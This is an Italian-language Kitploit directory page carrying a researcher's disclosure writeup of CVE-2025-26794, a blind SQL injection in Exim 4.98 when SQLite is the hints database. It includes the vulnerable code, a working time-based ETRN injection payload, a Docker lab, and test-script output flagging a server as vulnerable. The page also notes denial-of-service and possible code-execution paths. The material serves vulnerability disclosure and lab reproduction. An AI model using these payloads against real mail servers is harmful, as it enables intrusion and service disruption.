Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-26794 — CVE-2025-26794: Blind SQL injection in Exim 4.98 (SQLite DBM)- exploit writeup | Kitploit
Strumenti/GitHubGitHub/oscarbataille/cve-2025-26794
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dei DatabaseLab e Pratica
GitHuboscarbataille/cve-2025-26794

CVE-2025-26794

CVE-2025-26794: Blind SQL injection in Exim 4.98 (SQLite DBM)- exploit writeup

Vedi Repository
151 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-26794: Blind SQL injection in Exim 4.98 (SQLite DBM) - descrizione dell'exploit

Exim report: https://www.exim.org/static/doc/security/CVE-2025-26794.txt

Ho scoperto questa vulnerabilità tramite una revisione manuale del codice.

Dettagli della vulnerabilità:

Problema

I parametri SQL, quando SQLite viene utilizzato come DBM, non vengono adeguatamente sanificati. Ciò consente a un utente remoto di creare query SQLite personalizzate.

Requisiti:

  • Compilare Exim con "USE_SQLITE = yes". Questo imposterà SQLite come Database Manager (DBM).
  • Abilitare il comando ETRN. Per farlo, è necessario impostare "acl_smtp_etrn" nel file di configurazione.

PoC

Introduzione

Exim utilizza un database interno per l'archiviazione di coppie chiave:valore (chiamato HintsDB) che supporta vari backend, impostati al momento della compilazione. L'aggiunta più recente è stata SQLite. Viene utilizzato per memorizzare:

  • sessioni TLS
  • informazioni sui limiti di velocità (rate limits)
  • informazioni sui tentativi (retries)
  • semafori (con enq_start()) per comandi ETRN e consegna SMTP
  • informazioni sui limiti di concorrenza per il trasporto
  • database di attesa per le consegne di email che sono state differite da un trasporto
  • Per PIPECONNECT: caching delle risposte EHLO dei server remoti

Il file interessato è hintsdb.h. È stato spostato in un file separato (hints_sqlite.h) negli ultimi commit. Sono interessate solo le funzioni SQLite (esempio di funzione: exim_s_dbp).

root@kitploit:~
 static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]

La chiave di input non viene correttamente escapata. Pertanto, se riusciamo a controllare la chiave, saremo in grado di iniettare qualsiasi codice SQLite.

Sfruttamento

L'RFC1985 definisce il comando SMTP ETRN, "mediante il quale un client può richiedere che il server avvii l'elaborazione delle sue code di posta per i messaggi in attesa presso il server per la macchina client". Viene utilizzato con il comando SMTP: ETRN #domain.com.

In Exim, il comando ETRN imposta un semaforo nell'HintsDB per evitare di eseguire più comandi ETRN in parallelo. Questo semaforo è implementato dalla funzione enq_start(keyname, value) che crea una nuova voce nel database "misc".

root@kitploit:~
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);

[...]

if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
	smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
	break;
}

Ad esempio, il comando SMTP ETRN #test.com creerà una voce temporanea nel database SQLite "misc" con la chiave "etrn-#test.com" e il valore 1.

Alla fine dell'elaborazione del comando ETRN, la voce del database verrà rimossa:

root@kitploit:~
enq_end(etrn_serialize_key);

Poiché controlliamo la chiave, possiamo iniettare il nostro codice SQL con il seguente comando SMTP:

root@kitploit:~
ETRN #',1); ## INSERT SQL HERE ##  /*

Poiché non c'è output, possiamo inviare un payload SQLi basato sul tempo per testare remotamente questa vulnerabilità:

root@kitploit:~
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

Impatto

  • Sono stato in grado di connettermi ad altri database SQLite locali (a cui l'utente Exim ha accesso) con ATTACH DATABASE, e suppongo che potremmo probabilmente sfruttare una condizione di gara in Exim per innescare un comportamento indefinito interferendo con gli altri database utilizzati. È ancora molto ipotetico per ora.
  • Abbiamo anche accesso all'intera superficie di attacco di SQLite. Possiamo combinare questo exploit con un exploit di SQLite per ottenere RCE.

Limitazioni dello sfruttamento:

  • I tipi di lookup dbm, dmbjz, dbmnz utilizzano il DBM configurato (SQLite in questo caso) che potrebbe aumentare significativamente la superficie di attacco. Non ho testato lo sfruttamento. Tuttavia, utilizzare il lookup dbm quando SQLite è impostato come DBM sembra improbabile.
  • Suppongo che sia piuttosto raro abilitare il comando ETRN (ed è piuttosto vecchio). Non ho trovato altrove nel codice dove l'input dell'utente venga utilizzato per costruire la stringa di query.
  • Suppongo che sia piuttosto raro abilitare il supporto SQLite come DBM poiché è molto recente.
  • Suppongo che sia anche piuttosto raro utilizzare SQLite come DBM poiché è stato aggiunto solo nell'ultima versione di Exim. Pertanto dubito che questo metodo di sfruttamento sia stato utilizzato in ambienti reali. Tuttavia, si tratta di una vulnerabilità grave.

Ciò significa che potremmo facilmente fare DoS (ad esempio, riempire il disco), ma elevare questo a Remote Code Execution richiederebbe più lavoro, ma potrebbe essere possibile.

Riproduzione del bug

Ecco un laboratorio Docker locale per aiutare a riprodurre questa vulnerabilità.

Costruire e avviare exim

  1. git clone [email protected]:OscarBataille/CVE-2025-26794.git
  2. cd CVE-2025-26794/docker_lab
  3. bash docker.sh compilerà e ti farà accedere al container
  4. All'interno del container esegui bash start-exim.sh per avviare il server exim

Connettersi al server EXIM

  1. Connettersi con Netcat: nc 127.0.0.1 25
  2. 220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000
  3. Emettere il comando ETRN: ETRN #'
  4. Controllare il log di Exim per questa riga: sqlite3_exec: near "', X'": syntax error

Testare un server

Ho sviluppato uno script test.py per testare remotamente questa vulnerabilità.

root@kitploit:~
python3 docker_lab/test.py <host>

Esempio:

root@kitploit:~
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000

Client:  ETRN #

ETRN response: 458 Already processing
 Time: 0.006737470626831055

Client:  ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

ETRN response: 250 OK
 Time: 1.073132038116455

!! Vulnerable
Scarica lo strumento